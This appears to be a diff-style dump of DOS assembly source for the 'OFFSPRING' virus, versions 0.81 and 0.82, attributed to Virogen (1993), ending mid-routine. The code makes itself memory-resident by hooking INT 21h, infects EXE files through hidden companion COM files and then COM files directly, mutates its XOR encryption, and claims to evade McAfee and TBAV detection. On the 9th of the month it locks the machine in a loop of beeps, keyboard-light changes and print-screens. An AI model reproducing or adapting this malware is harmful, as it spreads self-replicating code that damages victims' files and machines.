||||
int 21h
|
||||
cmp ah,reply
|
||||
je no_install
|
||||
|
||||
mov ax,cs
|
||||
dec ax
|
||||
mov ds,ax
|
||||
cmp byte ptr ds: [0],'Z' ;Is this the last MCB in
|
||||
;the chain?
|
||||
jne no_install
|
||||
|
||||
|
||||
mov ax,ds: [3] ;Block size in MCB
|
||||
sub ax,190 ;Shrink Block Size-quick estimate
|
||||
mov ds: [3],ax
|
||||
|
||||
mov bx,ax
|
||||
mov ax,es
|
||||
add ax,bx
|
||||
mov es,ax ;Find high memory seg
|
||||
|
||||
mov si,bp
|
||||
add si,0100h
|
||||
mov cx,(offset vend - offset start)
|
||||
mov ax,ds
|
||||
inc ax
|
||||
mov ds,ax
|
||||
mov di,100h ; New location in high memory
|
||||
cld
|
||||
rep movsb ; Copy virus to high memory
|
||||
|
||||
push es
|
||||
pop ds
|
||||
xor ax,ax
|
||||
mov es,ax ; null es
|
||||
mov ax,es: [21h*4+2]
|
||||
mov bx,es: [21h*4]
|
||||
mov ds: old21_seg,ax ; Store segment
|
||||
mov ds: old21_ofs,bx ; Store offset
|
||||
|
||||
cli
|
||||
|
||||
mov es: [21h*4+2],ds ; Save seg
|
||||
lea ax, new21
|
||||
mov es: [21h*4],ax ; off
|
||||
|
||||
sti
|
||||
|
||||
no_install:
|
||||
push cs ; Restore regs
|
||||
pop ds
|
||||
push cs
|
||||
pop es
|
||||
|
||||
ret
|
||||
install endp
|
||||
|
||||
;--------------------------------------------------------------------
|
||||
; INT 21h
|
||||
;---------------------------------------------------------------------
|
||||
|
||||
new21 proc ; New INT 21H handler
|
||||
|
||||
cmp ah, signal ; signaling us?
|
||||
jne no
|
||||
mov ah,reply ; yep, give our offspring what he wants
|
||||
jmp end_21
|
||||
no:
|
||||
cmp ax,4b00h ; exec func?
|
||||
jne end_21
|
||||
cmp ch,0FBh ; don't infect when the virus
|
||||
jne run_res ; executes a file
|
||||
|
||||
jmp end_21
|
||||
|
||||
run_res:
|
||||
pushf
|
||||
push ax ; Push regs
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
push di
|
||||
push si
|
||||
push bp
|
||||
push ds
|
||||
push es
|
||||
push sp
|
||||
push ss
|
||||
|
||||
push cs
|
||||
pop ds
|
||||
|
||||
xor ax,ax ; nullify ES
|
||||
mov es,ax
|
||||
|
||||
cmp byte ptr add_mem,1 ; Restore system conventional mem size?
|
||||
je rel_mem ;
|
||||
cmp ah,48h ; alloc. mem block? If so we subtract 3k from
|
||||
je set_mem ; total system memory.
|
||||
|
||||
jmp no_mem_func
|
||||
|
||||
set_mem:
|
||||
sub word ptr es: [413h],3 ; Subtract 3k from total sys mem
|
||||
inc byte ptr add_mem ; make sure we know to add this back
|
||||
jmp no_mem_func
|
||||
rel_mem:
|
||||
add word ptr es: [413h],3 ; Add 3k to total sys mem
|
||||
dec byte ptr add_mem
|
||||
|
||||
|
||||
no_mem_func:
|
||||
mov ah,2fh
|
||||
int 21h ; Get the DTA
|
||||
|
||||
mov ax,es
|
||||
mov word ptr old_dta,bx
|
||||
mov word ptr old_dta+2,ax
|
||||
push cs
|
||||
pop es
|
||||
|
||||
call resident ; Call infection kernal
|
||||
|
||||
mov dx,word ptr old_dta
|
||||
mov ax,word ptr old_dta+2
|
||||
mov ds,ax
|
||||
mov ah,1ah
|
||||
int 21h ; Restore the DTA
|
||||
|
||||
pop ss ; Pop regs
|
||||
pop sp
|
||||
pop es
|
||||
pop ds
|
||||
pop bp
|
||||
pop si
|
||||
pop di
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
popf
|
||||
end_21 :
|
||||
db 0eah ; jump to original int 21h
|
||||
old21_ofs dw 0 ; Offset of old INT 21H
|
||||
old21_seg dw 0 ; Seg of old INT 21h
|
||||
new21 endp ; End of handler
|
||||
|
||||
;------------------------
|
||||
; Resident - This is called from the INT 21h handler
|
||||
;-----------------------------
|
||||
resident proc
|
||||
|
||||
mov byte ptr vtype,spawn
|
||||
mov word ptr set_bp,0000 ; BP=0000 on load
|
||||
mov byte ptr inf_count,0 ; null infection count
|
||||
mov fname_off, offset fname1 ; Set search for *.EXE
|
||||
mov word ptr mov_di,offset enc_data+2
|
||||
|
||||
find_first:
|
||||
mov word ptr vend,0 ; Clear ff/fn buffer
|
||||
lea si, vend
|
||||
lea di, vend+2
|
||||
mov cx, 22
|
||||
cld
|
||||
rep movsw
|
||||
|
||||
; Set DTA address - This is for the Findfirst/Findnext INT 21H functions
|
||||
mov ah, 1ah
|
||||
lea dx, vend
|
||||
int 21h
|
||||
|
||||
mov ah, 4eh ; Findfirst
|
||||
mov cx, 0 ; Set normal file attribute search
|
||||
mov dx, fname_off
|
||||
int 21h
|
||||
|
||||
jnc next_loop ; if still finding files then loop
|
||||
jmp end_prog
|
||||
|
||||
next_loop :
|
||||
cmp byte ptr vtype, parastic ; parastic infection?
|
||||
je start_inf ; yes, skip all this
|
||||
|
||||
mov ah,47h
|
||||
xor dl,dl
|
||||
lea si,file_dir
|
||||
int 21h
|
||||
|
||||
cmp word ptr vend[f_sizel],0 ; Make sure file isn't 64k+
|
||||
je ok_find ; for spawning infections
|
||||
jmp find_file
|
||||
|
||||
ok_find:
|
||||
xor bx,bx
|
||||
lm3 : ; find end of directory name
|
||||
inc bx
|
||||
cmp file_dir[bx],0
|
||||
jne lm3
|
||||
|
||||
mov file_dir[bx],'\' ; append backslash to path
|
||||
inc bx
|
||||
|
||||
mov cx,13 ; append filename to path
|
||||
lea si,vend[f_name]
|
||||
lea di,file_dir[bx]
|
||||
cld
|
||||
rep movsb
|
||||
|
||||
xor bx,bx
|
||||
mov bx,1eh
|
||||
|
||||
loop_me: ; search for filename ext.
|
||||
inc bx
|
||||
cmp byte ptr vend[bx], '.'
|
||||
jne loop_me
|
||||
|
||||
inc bx ; change it to COM
|
||||
mov word ptr vend [bx],'OC'
|
||||
mov byte ptr vend [bx+2],'M'
|
||||
|
||||
|
||||
start_inf:
|
||||
|
||||
cmp byte ptr vtype, parastic ; parastic infection?
|
||||
je parastic_inf ; yes.. so jump
|
||||
|
||||
;--------------------------------------
|
||||
; Spawning infection
|
||||
|
||||
|
||||
lea dx, vend[f_name]
|
||||
mov ah, 3ch ; Create file
|
||||
mov cx, 02h ; READ-ONLY
|
||||
or cx, 01h ; Hidden
|
||||
int 21h ; Call INT 21H
|
||||
jnc contin ; If Error-probably already infected
|
||||
jmp no_infect
|
||||
contin:
|
||||
|
||||
inc inf_count
|
||||
mov bx,ax
|
||||
|
||||
jmp encrypt_ops
|
||||
;----------------------------------------
|
||||
; Parastic infection
|
||||
|
||||
parastic_inf :
|
||||
|
||||
cmp word ptr vend+f_sizeh,400h
|
||||
jge cont_inf2
|
||||
jmp no_infect
|
||||
|
||||
cont_inf2:
|
||||
|
||||
lea si,vend+f_name ; Is Command.COM?
|
||||
lea di,com_name
|
||||
mov cx,11
|
||||
cld
|
||||
repe cmpsb
|
||||
|
||||
jne cont_inf0 ; Yes, don't infect
|
||||
jmp no_infect
|
||||
|
||||
cont_inf0:
|
||||
|
||||
mov ax,3d02h ; Open file for reading & writing
|
||||
lea dx,vend+f_name ; Filename in FF/FN buffer
|
||||
int 21h
|
||||
|
||||
jnc cont_inf1 ; error, skip infection
|
||||
jmp no_infect
|
||||
|
||||
cont_inf1:
|
||||
|
||||
|
||||
mov bx,ax
|
||||
|
||||
mov ah,3fh ; Read first bytes of file
|
||||
mov cx,04
|
||||
lea dx,org_bytes
|
||||
int 21h
|
||||
|
||||
cmp word ptr org_bytes,0e990h
|
||||
jne cont_inf
|
||||
mov ah,3eh
|
||||
int 21h
|
||||
jmp no_infect
|
||||
|
||||
cont_inf:
|
||||
inc inf_count
|
||||
mov ax,4202h ; Set pointer to end of file, so we
|
||||
xor cx,cx ; can find the file size
|
||||
xor dx,dx
|
||||
int 21h
|
||||
|
||||
mov word ptr set_bp,ax ; Change the MOV BP inst.
|
||||
add ax, offset enc_data+2
|
||||
mov word ptr mov_di,ax ; chg mov di,xxxx
|
||||
|
||||
mov ax,4200h
|
||||
xor cx,cx
|
||||
xor dx,dx
|
||||
int 21h
|
||||
|
||||
mov ax,word ptr vend+f_sizeh
|
||||
sub ax,4
|
||||
mov word ptr new_jmp+1,ax
|
||||
|
||||
|
||||
mov ah,40h
|
||||
mov cx,4
|
||||
lea dx,new_code
|
||||
int 21h
|
||||
|
||||
mov ax,4202h
|
||||
xor cx,cx
|
||||
xor dx,dx
|
||||
int 21h
|
||||
|
||||
|
||||
encrypt_ops:
|
||||
|
||||
;-----------------------------
|
||||
; Change encryptions ops
|
||||
|
||||
push bx
|
||||
|
||||
cmp pad_bytes,50
|
||||
je reset_pad
|
||||
inc word ptr pad_bytes ; Increase file size
|
||||
inc word ptr b_wr
|
||||
jmp pad_ok
|
||||
reset_pad:
|
||||
mov ax,pad_bytes
|
||||
sub word ptr b_wr,ax
|
||||
xor ax,ax
|
||||
mov pad_bytes,ax
|
||||
|
||||
pad_ok:
|
||||
|
||||
cmp inc_op,47h ; change ops from DI to SI
|
||||
jne set2
|
||||
dec inc_op
|
||||
dec byte ptr xor_op+1
|
||||
dec di_op
|
||||
dec byte ptr enc_addr
|
||||
dec byte ptr enc_add+1
|
||||
jmp chg_three
|
||||
set2:
|
||||
inc inc_op
|
||||
inc byte ptr xor_op+1
|
||||
inc di_op
|
||||
inc byte ptr enc_addr
|
||||
inc byte ptr enc_add+1
|
||||
|
||||
chg_three:
|
||||
mov ah,inc_op
|
||||
xor cx,cx
|
||||
lea di,sw_byte3
|
||||
chg_four:
|
||||
xor bx,bx ; Switch INC xx's location
|
||||
cmp word ptr [di],9090h
|
||||
je mov_pos
|
||||
inc bx
|
||||
inc bx
|
||||
cmp byte ptr [di+1],90h ; is second byte not 90h
|
||||
je mov_pos
|
||||
dec bx
|
||||
mov_pos: mov word ptr [di],9090h ; set all three bytes (of 3rd)
|
||||
mov byte ptr [di+2],90h ; to NOP
|
||||
mov byte ptr [di+bx],ah ; place inc xx in other byte
|
||||
|
||||
lea di,sw_byte4
|
||||
inc cx
|
||||
cmp cx,1
|
||||
je chg_four
|
||||
;-----------------------
|
||||
; Get random XOR number, save it, copy virus, encrypt code
|
||||
|
||||
d2:
|
||||
mov ah,2ch ;
|
||||
int 21h ; Get random number from clock - millisecs
|
||||
|
||||
mov word ptr xor_op+2,dx ; save encryption #
|
||||
|
||||
|
||||
mov si,0100h
|
||||
lea di,vend+50 ; destination
|
||||
mov cx,offset vend-100h ; bytes to move
|
||||
cld
|
||||
rep movsb ; copy virus outside of code
|
||||
|
||||
enc_addr:
|
||||
mov di,offset vend
|
||||
enc_add:
|
||||
add di,offset enc_data-100h+52 ; offset of new copy of virus
|
||||
|
||||
go_enc:
|
||||
mov byte ptr ret_byte,0c3h
|
||||
call encrypt ; encrypt new copy of virus
|
||||
mov byte ptr ret_byte,90h
|
||||
|
||||
;----------------------------------------
|
||||
; Write and close new infected file
|
||||
|
||||
pop bx
|
||||
mov cx, offset vend-100h ; # of bytes to write
|
||||
add cx, pad_bytes
|
||||
lea dx, vend+50 ; Offset of buffer
|
||||
mov ah, 40h ; -- our program in memory
|
||||
int 21h ; Call INT 21H function 40h
|
||||
|
||||
mov ax,5701h ; Restore data/time
|
||||
mov cx,word ptr vend[f_time]
|
||||
mov dx,word ptr vend[f_date]
|
||||
int 21h
|
||||
|
||||
|
||||
close:
|
||||
mov ah, 3eh
|
||||
int 21h
|
||||
|
||||
|
||||
no_infect:
|
||||
|
||||
; Find next file
|
||||
find_file :
|
||||
|
||||
cmp inf_count, max_inf
|
||||
je end_prog
|
||||
mov ah,4fh
|
||||
int 21h
|
||||
jc end_prog
|
||||
jmp next_loop
|
||||
|
||||
|
||||
end_prog:
|
||||
exit :
|
||||
cmp inf_count,0 ; Start parastic infection on next run
|
||||
jne find_done
|
||||
cmp byte ptr vtype, parastic ; Parastic infection done?
|
||||
je find_done
|
||||
mov fname_off, offset fname2 ; Point to new filespec
|
||||
mov byte ptr vtype, parastic ; virus type = parastic
|
||||
jmp find_first
|
||||
|
||||
|
||||
find_done:
|
||||
mov byte ptr vtype,spawn
|
||||
mov fname_off, offset fname1
|
||||
ret
|
||||
resident endp
|
||||
|
||||
vtype db spawn ; Infection type
|
||||
rot_num dw 0000 ; Used when replacing bytes with OP_SET
|
||||
inf_count db 0 ; How many files we have infected this run
|
||||
com_name db 'COMMAND.COM' ; obvious
|
||||
new_code db 90h
|
||||
new_jmp db 0e9h,00,00 ; New Jump
|
||||
org_bytes db 5 dup(0) ; original first five bytes of parastic inf.
|
||||
pad_bytes dw 0 ; Increase in viru size
|
||||
add_mem db 0 ; Add memory back?
|
||||
old_dta dd 0 ; Old DTA Segment:Address
|
||||
inc_op db 47h ; INC DI (47h) or INC SI (46h)
|
||||
|
||||
copyr db '(c)1993 negoriV' ; my copyright
|
||||
vname db 0ah,0dh,'OFFSPRING V0.81','$'
|
||||
|
||||
fname1 db '*.EXE',0 ; Filespec
|
||||
fname2 db '*.COM',0 ; Filespec
|
||||
fname_off dw fname1 ; Offset of Filespec to use
|
||||
times_inc db 0 ; # of times encryption call incremented
|
||||
sl db '\' ; Backslash for directory name
|
||||
file_dir db 64 dup(0) ; directory of file we infected
|
||||
file_name db 13 dup(0) ; filename of file we infected
|
||||
|
||||
par_blk dw 0 ; command line count byte -psp
|
||||
par_cmd dw 0080h ; Point to the command line -psp
|
||||
par_seg dw 0 ; seg
|
||||
dw 05ch ; Use default FCB's in psp to save space
|
||||
par1 dw 0 ;
|
||||
dw 06ch ; FCB #2
|
||||
par2 dw 0 ;
|
||||
vend: ; End of virus
|
||||
|
||||
cseg ends
|
||||
end start
|
||||
@@ -0,0 +1,671 @@
|
||||
;-------------------------------------------------------------------------
|
||||
; ************************************************
|
||||
; OFFSPRING v0.82 - BY VIROGEN - 09-06-93
|
||||
; ************************************************
|
||||
;
|
||||
; - Compatible with : TASM /m2
|
||||
;
|
||||
; TYPE : Parastic & Spawning Resident Encrypting (PSRhA)
|
||||
;
|
||||
;
|
||||
; VERSION : 0.82
|
||||
; - No longer detectable by Mcafee SCAN as anything.
|
||||
; - No longer detectable by TBAV heuristics.
|
||||
;
|
||||
;
|
||||
; INFECTION METHOD : Everytime DOS function 4Bh (Execute File)
|
||||
; is called the virus will infect up to 5 files
|
||||
; in the current directory. It will first infect all
|
||||
; EXE files by creating a corresponding COM. Once
|
||||
; all EXE files have been infected, it then infects
|
||||
; COM files. All COM files created by a spawning
|
||||
; infection will have the read-only and hidden
|
||||
; attribute.
|
||||
;
|
||||
;
|
||||
; THE ENCRYPION OF THIS VIRUS :
|
||||
; Ok, this virus's encryption method is a simple
|
||||
; XOR. The encryption operands are changed directly.
|
||||
; Also, the operands are switched around, and the
|
||||
; encryption routine switches from using di to si.
|
||||
; Not anything overly amazing, but it works.
|
||||
;
|
||||
;
|
||||
;
|
||||
;
|
||||
title offspring_1
|
||||
.286
|
||||
cseg segment
|
||||
assume cs: cseg, ds: cseg, ss: cseg, es: cseg
|
||||
|
||||
signal equ 7dh ; Installation check
|
||||
reply equ 0fch ; reply to check
|
||||
f_name equ 1eh ; Offset of file name in FF/FN buffer
|
||||
f_sizel equ 1ch ; File size - low - loc in mem
|
||||
f_sizeh equ 1ah ; File size - high - loc in mem
|
||||
f_date equ 18h ; File date - loc in mem
|
||||
f_time equ 16h ; File time - loc in mem
|
||||
max_inf equ 05 ; Maximum files to infect per run
|
||||
max_rotation equ 9 ; number of bytes in switch byte table
|
||||
parastic equ 01 ; Parastic infection
|
||||
spawn equ 00 ; Spawning infection
|
||||
|
||||
org 100h ; Leave room for PSP
|
||||
|
||||
;------------------------------------------------------------------
|
||||
; Start of viral code
|
||||
;------------------------------------------------------------------
|
||||
|
||||
start:
|
||||
|
||||
skip_dec:
|
||||
jmp main ; Skip decryption, changes into NOP on
|
||||
; replicated copies.
|
||||
di_op db 0bfh
|
||||
mov_di dw offset enc_data+2 ; Point to byte after encryption num
|
||||
;
|
||||
;-------------------------
|
||||
; Encryption/Decryption
|
||||
|
||||
encrypt:
|
||||
cx_m db 90h,0b9h ; MOV CX
|
||||
b_wr dw (offset vend-offset enc_data)/2
|
||||
xor_loop:
|
||||
xor_op: xor word ptr [di],0666h ; Xor each word - number changes accordingly
|
||||
sw_byte3: ; INC xx changes position in these bytes
|
||||
inc di
|
||||
nop
|
||||
nop
|
||||
sw_byte4:
|
||||
inc di
|
||||
nop
|
||||
nop
|
||||
loop xor_loop ; loop while cx != 0
|
||||
|
||||
ret_byte db 90h ; Changes to RET (0C3h) - then back to NOP
|
||||
|
||||
enc_data: ; Start of encrypted data
|
||||
|
||||
;-------------------------------
|
||||
; Non-Resident portion of virus
|
||||
;-------------------------------
|
||||
main proc
|
||||
|
||||
db 0bdh ; MOV BP,xxxx - Load delta offset
|
||||
set_bp:
|
||||
dw 0000
|
||||
|
||||
mov word ptr skip_dec[bp],9090h ; NOP the jump past decryption
|
||||
|
||||
mov ax,ds: 002ch ; Get environment address
|
||||
mov par_blk[bp],ax ; Save in parameter block for exec
|
||||
|
||||
mov par1[bp],cs ; Save segments for EXEC
|
||||
mov par2[bp],cs
|
||||
mov par_seg[bp],cs
|
||||
|
||||
mov ah,2ah ; Get date
|
||||
int 21h
|
||||
|
||||
cmp dl,9 ; 9th?
|
||||
jne no_display
|
||||
|
||||
mov ah,09 ; display virus name
|
||||
lea dx,vname[bp]
|
||||
int 21h
|
||||
|
||||
xor ax,ax ; seg 0
|
||||
mov es,ax
|
||||
mov dx,1010101010101010b ; lights
|
||||
chg_lights: ; Infinite loop to change keyboard
|
||||
mov word ptr es: [416h],dx ; 0040:0016h = keyb flags
|
||||
ror dx,1 ; rotate bits
|
||||
mov cx,0101h ; scan code/ascii
|
||||
mov ah,05h ; push a beep onto keyb buf
|
||||
int 16h
|
||||
mov ah,10h ; Read key back so we don't fill
|
||||
int 16h ; up the keyboard buffer
|
||||
int 5h ; Print-Screen
|
||||
mov ax,0a07h ; Write BEEP to screen
|
||||
xor bh,bh
|
||||
mov cx,1
|
||||
int 10h
|
||||
mov ah,86h ; Delay
|
||||
mov cx,0002h
|
||||
int 15h
|
||||
|
||||
jmp chg_lights
|
||||
|
||||
no_display:
|
||||
|
||||
call install ; check if installed, if not install
|
||||
|
||||
cmp byte ptr vtype[bp],parastic
|
||||
je com_return
|
||||
|
||||
mov bx,(offset vend+50) ; Calculate memory needed
|
||||
mov cl,4 ; divide by 16
|
||||
shr bx,cl
|
||||
inc bx
|
||||
mov ah,4ah
|
||||
int 21h ; Release un-needed memory
|
||||
|
||||
lea dx,file_dir-1[bp] ; Execute the original EXE
|
||||
lea bx,par_blk[bp]
|
||||
mov ch,0FBh ; tell mem. resident virus
|
||||
mov ax,4b00h ; that it's us.
|
||||
int 21h
|
||||
|
||||
mov ah,4ch ; Exit
|
||||
int 21h
|
||||
|
||||
com_return:
|
||||
|
||||
mov si,bp
|
||||
mov cx,6 ; Restore original first
|
||||
add si,offset org_bytes ; six bytes of COM file
|
||||
mov di,0100h
|
||||
cld
|
||||
rep movsb
|
||||
|
||||
mov ax,0100h ; Simulate CALL return to 0100h
|
||||
push ax
|
||||
ret
|
||||
|
||||
main endp
|
||||
|
||||
;--------------------------------------
|
||||
; INSTALL - Install the virus
|
||||
;--------------------------------------
|
||||
|
||||
install proc
|
||||
|
||||
mov ah,signal
|
||||
int 21h
|
||||
cmp ah,reply
|
||||
je no_install
|
||||
|
||||
mov ax,cs
|
||||
dec ax
|
||||
mov ds,ax
|
||||
cmp byte ptr ds: [0],'Z' ;Is this the last MCB in
|
||||
;the chain?
|
||||
jne no_install
|
||||
|
||||
|
||||
mov ax,ds: [3] ;Block size in MCB
|
||||
sub ax,190 ;Shrink Block Size-quick estimate
|
||||
mov ds: [3],ax
|
||||
|
||||
mov bx,ax
|
||||
mov ax,es
|
||||
add ax,bx
|
||||
mov es,ax ;Find high memory seg
|
||||
|
||||
mov si,bp
|
||||
add si,0100h
|
||||
mov cx,(offset vend - offset start)
|
||||
mov ax,ds
|
||||
inc ax
|
||||
mov ds,ax
|
||||
mov di,100h ; New location in high memory
|
||||
cld
|
||||
rep movsb ; Copy virus to high memory
|
||||
|
||||
push es
|
||||
pop ds
|
||||
xor ax,ax
|
||||
mov es,ax ; null es
|
||||
mov ax,es: [21h*4+2]
|
||||
mov bx,es: [21h*4]
|
||||
mov ds: old21_seg,ax ; Store segment
|
||||
mov ds: old21_ofs,bx ; Store offset
|
||||
|
||||
cli
|
||||
|
||||
mov es: [21h*4+2],ds ; Save seg
|
||||
lea ax, new21
|
||||
mov es: [21h*4],ax ; off
|
||||
|
||||
sti
|
||||
|
||||
no_install:
|
||||
push cs ; Restore regs
|
||||
pop ds
|
||||
push cs
|
||||
pop es
|
||||
|
||||
ret
|
||||
install endp
|
||||
|
||||
;--------------------------------------------------------------------
|
||||
; INT 21h
|
||||
;---------------------------------------------------------------------
|
||||
|
||||
new21 proc ; New INT 21H handler
|
||||
|
||||
cmp ah, signal ; signaling us?
|
||||
jne no
|
||||
mov ah,reply ; yep, give our offspring what he wants
|
||||
jmp end_21
|
||||
no:
|
||||
cmp ax,4b00h ; exec func?
|
||||
je exec_func
|
||||
|
||||
jmp end_21
|
||||
|
||||
exec_func:
|
||||
cmp ch,0FBh
|
||||
je end_21
|
||||
run_res:
|
||||
pushf
|
||||
push ax ; Push regs
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
push di
|
||||
push si
|
||||
push bp
|
||||
push ds
|
||||
push es
|
||||
push sp
|
||||
push ss
|
||||
|
||||
push cs
|
||||
pop ds
|
||||
|
||||
xor ax,ax ; nullify ES
|
||||
mov es,ax
|
||||
|
||||
cmp byte ptr add_mem,1 ; Restore system conventional mem size?
|
||||
je rel_mem ;
|
||||
cmp ah,48h ; alloc. mem block? If so we subtract 3k from
|
||||
je set_mem ; total system memory.
|
||||
|
||||
jmp no_mem_func
|
||||
|
||||
set_mem:
|
||||
sub word ptr es: [413h],3 ; Subtract 3k from total sys mem
|
||||
inc byte ptr add_mem ; make sure we know to add this back
|
||||
jmp no_mem_func
|
||||
rel_mem:
|
||||
add word ptr es: [413h],3 ; Add 3k to total sys mem
|
||||
dec byte ptr add_mem
|
||||
|
||||
|
||||
no_mem_func:
|
||||
mov ah,2fh
|
||||
int 21h ; Get the DTA
|
||||
|
||||
mov ax,es
|
||||
mov word ptr old_dta,bx
|
||||
mov word ptr old_dta+2,ax
|
||||
push cs
|
||||
pop es
|
||||
|
||||
call resident ; Call infection kernal
|
||||
|
||||
mov dx,word ptr old_dta
|
||||
mov ax,word ptr old_dta+2
|
||||
mov ds,ax
|
||||
mov ah,1ah
|
||||
int 21h ; Restore the DTA
|
||||
|
||||
pop ss ; Pop regs
|
||||
pop sp
|
||||
pop es
|
||||
pop ds
|
||||
pop bp
|
||||
pop si
|
||||
pop di
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
popf
|
||||
end_21 :
|
||||
db 0eah ; jump to original int 21h
|
||||
old21_ofs dw 0 ; Offset of old INT 21H
|
||||
old21_seg dw 0 ; Seg of old INT 21h
|
||||
new21 endp ; End of handler
|
||||
|
||||
;------------------------
|
||||
; Resident - This is called from the INT 21h handler
|
||||
;-----------------------------
|
||||
resident proc
|
||||
|
||||
mov byte ptr vtype,spawn
|
||||
mov word ptr set_bp,0000 ; BP=0000 on load
|
||||
mov byte ptr inf_count,0 ; null infection count
|
||||
mov fname_off, offset fname1 ; Set search for *.EXE
|
||||
mov word ptr mov_di,offset enc_data+2
|
||||
|
||||
find_first:
|
||||
mov word ptr vend,0 ; Clear ff/fn buffer
|
||||
lea si, vend
|
||||
lea di, vend+2
|
||||
mov cx, 22
|
||||
cld
|
||||
rep movsw
|
||||
|
||||
; Set DTA address - This is for the Findfirst/Findnext INT 21H functions
|
||||
mov ah, 1ah
|
||||
lea dx, vend
|
||||
int 21h
|
||||
|
||||
mov ah, 4eh ; Findfirst
|
||||
mov cx, 0 ; Set normal file attribute search
|
||||
mov dx, fname_off
|
||||
int 21h
|
||||
|
||||
jnc next_loop ; if still finding files then loop
|
||||
jmp end_prog
|
||||
|
||||
next_loop :
|
||||
cmp byte ptr vtype, parastic ; parastic infection?
|
||||
je start_inf ; yes, skip all this
|
||||
|
||||
mov ah,47h
|
||||
xor dl,dl
|
||||
lea si,file_dir
|
||||
int 21h
|
||||
|
||||
cmp word ptr vend[f_sizel],0 ; Make sure file isn't 64k+
|
||||
je ok_find ; for spawning infections
|
||||
jmp find_file
|
||||
|
||||
ok_find:
|
||||
xor bx,bx
|
||||
lm3 : ; find end of directory name
|
||||
inc bx
|
||||
cmp file_dir[bx],0
|
||||
jne lm3
|
||||
|
||||
mov file_dir[bx],'\' ; append backslash to path
|
||||
inc bx
|
||||
|
||||
mov cx,13 ; append filename to path
|
||||
lea si,vend[f_name]
|
||||
lea di,file_dir[bx]
|
||||
cld
|
||||
rep movsb
|
||||
|
||||
xor bx,bx
|
||||
mov bx,1eh
|
||||
|
||||
loop_me: ; search for filename ext.
|
||||
inc bx
|
||||
cmp byte ptr vend[bx], '.'
|
||||
jne loop_me
|
||||
|
||||
inc bx ; change it to COM
|
||||
mov word ptr vend [bx],'OC'
|
||||
mov byte ptr vend [bx+2],'M'
|
||||
|
||||
|
||||
start_inf:
|
||||
|
||||
cmp byte ptr vtype, parastic ; parastic infection?
|
||||
je parastic_inf ; yes.. so jump
|
||||
|
||||
;--------------------------------------
|
||||
; Spawning infection
|
||||
|
||||
|
||||
lea dx, vend[f_name]
|
||||
mov ah, 3ch ; Create file
|
||||
mov cx, 02h ; READ-ONLY
|
||||
or cx, 01h ; Hidden
|
||||
int 21h ; Call INT 21H
|
||||
jnc contin ; If Error-probably already infected
|
||||
jmp no_infect
|
||||
contin:
|
||||
|
||||
inc inf_count
|
||||
mov bx,ax
|
||||
|
||||
jmp encrypt_ops
|
||||
;----------------------------------------
|
||||
; Parastic infection
|
||||
|
||||
parastic_inf :
|
||||
|
||||
cmp word ptr vend+f_sizeh,400h
|
||||
jge cont_inf2
|
||||
jmp no_infect
|
||||
|
||||
cont_inf2:
|
||||
|
||||
lea si,vend+f_name ; Is Command.COM?
|
||||
lea di,com_name
|
||||
mov cx,11
|
||||
cld
|
||||
repe cmpsb
|
||||
|
||||
jne cont_inf0 ; Yes, don't infect
|
||||
jmp no_infect
|
||||
|
||||
cont_inf0:
|
||||
|
||||
mov ax,3d02h ; Open file for reading & writing
|
||||
lea dx,vend+f_name ; Filename in FF/FN buffer
|
||||
int 21h
|
||||
|
||||
jnc cont_inf1 ; error, skip infection
|
||||
jmp no_infect
|
||||
|
||||
cont_inf1:
|
||||
|
||||
|
||||
mov bx,ax
|
||||
|
||||
mov ah,3fh ; Read first bytes of file
|
||||
mov cx,06
|
||||
lea dx,org_bytes
|
||||
int 21h
|
||||
|
||||
cmp word ptr org_bytes,09090h
|
||||
jne cont_inf
|
||||
mov ah,3eh
|
||||
int 21h
|
||||
jmp no_infect
|
||||
|
||||
cont_inf:
|
||||
inc inf_count
|
||||
mov ax,4202h ; Set pointer to end of file, so we
|
||||
xor cx,cx ; can find the file size
|
||||
xor dx,dx
|
||||
int 21h
|
||||
|
||||
mov word ptr set_bp,ax ; Change the MOV BP inst.
|
||||
add ax, offset enc_data+2
|
||||
mov word ptr mov_di,ax ; chg mov di,xxxx
|
||||
|
||||
mov ax,4200h
|
||||
xor cx,cx
|
||||
xor dx,dx
|
||||
int 21h
|
||||
|
||||
mov ax,word ptr vend+f_sizeh
|
||||
sub ax,6
|
||||
mov word ptr new_jmp+1,ax
|
||||
|
||||
|
||||
mov ah,40h
|
||||
mov cx,6
|
||||
lea dx,new_code
|
||||
int 21h
|
||||
|
||||
mov ax,4202h
|
||||
xor cx,cx
|
||||
xor dx,dx
|
||||
int 21h
|
||||
|
||||
|
||||
encrypt_ops:
|
||||
|
||||
;-----------------------------
|
||||
; Change encryptions ops
|
||||
|
||||
push bx
|
||||
|
||||
cmp pad_bytes,50
|
||||
je reset_pad
|
||||
inc word ptr pad_bytes ; Increase file size
|
||||
inc word ptr b_wr
|
||||
jmp pad_ok
|
||||
reset_pad:
|
||||
mov ax,pad_bytes
|
||||
sub word ptr b_wr,ax
|
||||
xor ax,ax
|
||||
mov pad_bytes,ax
|
||||
|
||||
pad_ok:
|
||||
|
||||
cmp inc_op,47h ; change ops from DI to SI
|
||||
jne set2
|
||||
dec inc_op
|
||||
dec byte ptr xor_op+1
|
||||
dec di_op
|
||||
dec byte ptr enc_addr
|
||||
dec byte ptr enc_add+1
|
||||
jmp chg_three
|
||||
set2:
|
||||
inc inc_op
|
||||
inc byte ptr xor_op+1
|
||||
inc di_op
|
||||
inc byte ptr enc_addr
|
||||
inc byte ptr enc_add+1
|
||||
|
||||
chg_three:
|
||||
mov ah,inc_op
|
||||
xor cx,cx
|
||||
lea di,sw_byte3
|
||||
chg_four:
|
||||
xor bx,bx ; Switch INC xx's location
|
||||
cmp word ptr [di],9090h
|
||||
je mov_pos
|
||||
inc bx
|
||||
inc bx
|
||||
cmp byte ptr [di+1],90h ; is second byte not 90h
|
||||
je mov_pos
|
||||
dec bx
|
||||
mov_pos: mov word ptr [di],9090h ; set all three bytes (of 3rd)
|
||||
mov byte ptr [di+2],90h ; to NOP
|
||||
mov byte ptr [di+bx],ah ; place inc xx in other byte
|
||||
|
||||
lea di,sw_byte4
|
||||
inc cx
|
||||
cmp cx,1
|
||||
je chg_four
|
||||
;-----------------------
|
||||
; Get random XOR number, save it, copy virus, encrypt code
|
||||
|
||||
d2:
|
||||
mov ah,2ch ;
|
||||
int 21h ; Get random number from clock - millisecs
|
||||
|
||||
